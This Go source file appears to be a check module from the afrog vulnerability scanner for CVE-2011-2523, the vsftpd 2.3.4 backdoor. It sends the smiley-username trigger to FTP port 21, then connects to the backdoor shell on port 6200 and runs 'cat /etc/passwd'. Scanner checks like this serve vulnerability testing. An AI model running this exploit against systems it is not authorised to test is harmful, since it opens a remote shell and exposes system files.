package gox

import (
	"fmt"

	"github.com/zan8in/afrog/v3/pkg/protocols/netxclient"
	"github.com/zan8in/pins/netx"
	urlutil "github.com/zan8in/pins/url"
)

func cve_2011_2523(target string, variableMap map[string]any) error {
	var err error

	variableMap["request"] = nil
	variableMap["response"] = nil

	host, err := urlutil.Host(target)
	if err != nil {
		return err
	}

	address := fmt.Sprintf("%s:21", host)
	_, err = cve_2011_2523_payload1(address, "USER letmein:)\r\nPASS please\r\n")
	if err != nil {
		return err
	}

	address = fmt.Sprintf("%s:6200", host)
	data, err := cve_2011_2523_payload1(address, "cat /etc/passwd")
	if err != nil {
		return err
	}

	setResponse(data, variableMap)
	setRequest(address, variableMap)
	setTarget(address, variableMap)
	setFullTarget(address, variableMap)

	return nil
}

func cve_2011_2523_payload1(address, body string) (string, error) {

	nc, err := netxclient.NewNetClient(address, netxclient.Config{})
	if err != nil {
		return "", err
	}

	client, err := netx.NewClient(address, *nc.Config())
	if err != nil {
		return "", err
	}
	defer client.Close()

	err = client.Send([]byte(body))
	if err != nil {
		return "", err
	}

	data, err := client.Receive()
	if err != nil {
		return "", err
	}

	return string(data), nil
}

func init() {
	funcMap["cve-2011-2523"] = cve_2011_2523
}
